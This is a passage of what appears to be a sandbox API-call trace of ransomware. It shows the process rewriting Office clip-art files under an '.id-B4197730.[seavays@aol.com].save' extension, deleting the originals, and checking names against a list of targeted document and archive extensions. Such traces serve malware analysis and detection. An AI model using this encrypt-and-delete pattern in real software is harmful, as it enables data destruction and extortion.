lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.803] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.803] SetEndOfFile (hFile=0x368) returned 1 [0210.803] CloseHandle (hObject=0x368) returned 1 [0210.803] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.803] SetEndOfFile (hFile=0x35c) returned 1 [0210.804] CloseHandle (hObject=0x35c) returned 1 [0210.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0210.804] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf")) returned 1 [0210.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0210.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0210.805] lstrlenW (lpString=".doc") returned 4 [0210.805] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.805] lstrlenW (lpString=".docx") returned 5 [0210.805] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0210.805] lstrlenW (lpString=".pdf") returned 4 [0210.805] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.805] lstrlenW (lpString=".xls") returned 4 [0210.805] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.805] lstrlenW (lpString=".xlsx") returned 5 [0210.805] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0210.805] lstrlenW (lpString=".ppt") returned 4 [0210.806] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0210.806] lstrlenW (lpString=".zip") returned 4 [0210.806] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.806] lstrlenW (lpString=".rar") returned 4 [0210.806] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.806] lstrlenW (lpString=".bz2") returned 4 [0210.806] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.806] lstrlenW (lpString=".7z") returned 3 [0210.806] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0210.806] lstrlenW (lpString=".dbf") returned 4 [0210.806] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0210.806] lstrlenW (lpString=".1cd") returned 4 [0210.806] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0210.806] lstrlenW (lpString=".jpg") returned 4 [0210.806] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0210.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0210.806] lstrlenW (lpString=".doc") returned 4 [0210.806] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.806] lstrlenW (lpString=".docx") returned 5 [0210.806] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0210.806] lstrlenW (lpString=".pdf") returned 4 [0210.806] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.806] lstrlenW (lpString=".xls") returned 4 [0210.806] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.806] lstrlenW (lpString=".xlsx") returned 5 [0210.807] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0210.807] lstrlenW (lpString=".ppt") returned 4 [0210.807] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0210.807] lstrlenW (lpString=".zip") returned 4 [0210.807] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.807] lstrlenW (lpString=".rar") returned 4 [0210.807] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.807] lstrlenW (lpString=".bz2") returned 4 [0210.807] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.807] lstrlenW (lpString=".7z") returned 3 [0210.807] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0210.807] lstrlenW (lpString=".dbf") returned 4 [0210.807] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0210.807] lstrlenW (lpString=".1cd") returned 4 [0210.807] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0210.807] lstrlenW (lpString=".jpg") returned 4 [0210.807] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.807] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0210.807] lstrlenW (lpString="J0105502.WMF") returned 12 [0210.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0210.808] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=5472) returned 1 [0210.808] CloseHandle (hObject=0x35c) returned 1 [0210.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf")) returned 0x220 [0210.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0210.808] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.808] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0210.809] GetLastError () returned 0x0 [0210.809] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x1560, lpOverlapped=0x0) returned 1 [0210.810] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0x1570, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0x1570, lpOverlapped=0x0) returned 1 [0210.812] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.812] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.812] SetEndOfFile (hFile=0x368) returned 1 [0210.812] CloseHandle (hObject=0x368) returned 1 [0210.812] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.812] SetEndOfFile (hFile=0x35c) returned 1 [0210.813] CloseHandle (hObject=0x35c) returned 1 [0210.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0210.813] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf")) returned 1 [0210.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0210.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0210.819] lstrlenW (lpString=".doc") returned 4 [0210.819] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.820] lstrlenW (lpString=".docx") returned 5 [0210.820] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0210.820] lstrlenW (lpString=".pdf") returned 4 [0210.820] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.820] lstrlenW (lpString=".xls") returned 4 [0210.820] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.820] lstrlenW (lpString=".xlsx") returned 5 [0210.820] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0210.820] lstrlenW (lpString=".ppt") returned 4 [0210.820] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0210.820] lstrlenW (lpString=".zip") returned 4 [0210.820] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.820] lstrlenW (lpString=".rar") returned 4 [0210.820] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.820] lstrlenW (lpString=".bz2") returned 4 [0210.820] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.820] lstrlenW (lpString=".7z") returned 3 [0210.820] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0210.820] lstrlenW (lpString=".dbf") returned 4 [0210.820] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0210.820] lstrlenW (lpString=".1cd") returned 4 [0210.820] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0210.820] lstrlenW (lpString=".jpg") returned 4 [0210.820] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0210.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0210.821] lstrlenW (lpString=".doc") returned 4 [0210.821] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.821] lstrlenW (lpString=".docx") returned 5 [0210.821] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0210.821] lstrlenW (lpString=".pdf") returned 4 [0210.821] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.821] lstrlenW (lpString=".xls") returned 4 [0210.821] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.821] lstrlenW (lpString=".xlsx") returned 5 [0210.821] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0210.821] lstrlenW (lpString=".ppt") returned 4 [0210.821] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0210.821] lstrlenW (lpString=".zip") returned 4 [0210.821] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.821] lstrlenW (lpString=".rar") returned 4 [0210.821] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.821] lstrlenW (lpString=".bz2") returned 4 [0210.821] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.821] lstrlenW (lpString=".7z") returned 3 [0210.821] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0210.821] lstrlenW (lpString=".dbf") returned 4 [0210.821] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0210.821] lstrlenW (lpString=".1cd") returned 4 [0210.821] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0210.821] lstrlenW (lpString=".jpg") returned 4 [0210.821] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.822] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0210.822] lstrlenW (lpString="J0105504.WMF") returned 12 [0210.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0210.822] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=4148) returned 1 [0210.822] CloseHandle (hObject=0x35c) returned 1 [0210.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf")) returned 0x220 [0210.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0210.823] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.823] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0210.824] GetLastError () returned 0x0 [0210.824] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x1034, lpOverlapped=0x0) returned 1 [0210.825] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0x1040, lpOverlapped=0x0) returned 1 [0210.826] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.826] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.826] SetEndOfFile (hFile=0x368) returned 1 [0210.826] CloseHandle (hObject=0x368) returned 1 [0210.826] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.826] SetEndOfFile (hFile=0x35c) returned 1 [0210.828] CloseHandle (hObject=0x35c) returned 1 [0210.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0210.828] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf")) returned 1 [0210.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0210.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0210.829] lstrlenW (lpString=".doc") returned 4 [0210.829] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.829] lstrlenW (lpString=".docx") returned 5 [0210.829] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0210.829] lstrlenW (lpString=".pdf") returned 4 [0210.829] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.829] lstrlenW (lpString=".xls") returned 4 [0210.829] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.829] lstrlenW (lpString=".xlsx") returned 5 [0210.829] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0210.829] lstrlenW (lpString=".ppt") returned 4 [0210.829] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0210.829] lstrlenW (lpString=".zip") returned 4 [0210.829] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.829] lstrlenW (lpString=".rar") returned 4 [0210.829] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.829] lstrlenW (lpString=".bz2") returned 4 [0210.829] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.829] lstrlenW (lpString=".7z") returned 3 [0210.829] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0210.829] lstrlenW (lpString=".dbf") returned 4 [0210.829] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0210.829] lstrlenW (lpString=".1cd") returned 4 [0210.829] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0210.829] lstrlenW (lpString=".jpg") returned 4 [0210.829] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0210.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0210.830] lstrlenW (lpString=".doc") returned 4 [0210.830] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.830] lstrlenW (lpString=".docx") returned 5 [0210.830] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0210.830] lstrlenW (lpString=".pdf") returned 4 [0210.830] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.830] lstrlenW (lpString=".xls") returned 4 [0210.830] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.830] lstrlenW (lpString=".xlsx") returned 5 [0210.830] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0210.830] lstrlenW (lpString=".ppt") returned 4 [0210.830] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0210.830] lstrlenW (lpString=".zip") returned 4 [0210.830] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.830] lstrlenW (lpString=".rar") returned 4 [0210.830] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.830] lstrlenW (lpString=".bz2") returned 4 [0210.830] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.830] lstrlenW (lpString=".7z") returned 3 [0210.830] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0210.830] lstrlenW (lpString=".dbf") returned 4 [0210.830] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0210.830] lstrlenW (lpString=".1cd") returned 4 [0210.830] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0210.830] lstrlenW (lpString=".jpg") returned 4 [0210.830] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.831] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0210.831] lstrlenW (lpString="J0105506.WMF") returned 12 [0210.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0210.831] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=2912) returned 1 [0210.831] CloseHandle (hObject=0x35c) returned 1 [0210.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf")) returned 0x220 [0210.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0210.832] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.832] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0210.852] GetLastError () returned 0x0 [0210.852] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0xb60, lpOverlapped=0x0) returned 1 [0210.853] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xb70, lpOverlapped=0x0) returned 1 [0210.854] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.854] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.854] SetEndOfFile (hFile=0x368) returned 1 [0210.855] CloseHandle (hObject=0x368) returned 1 [0210.855] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: 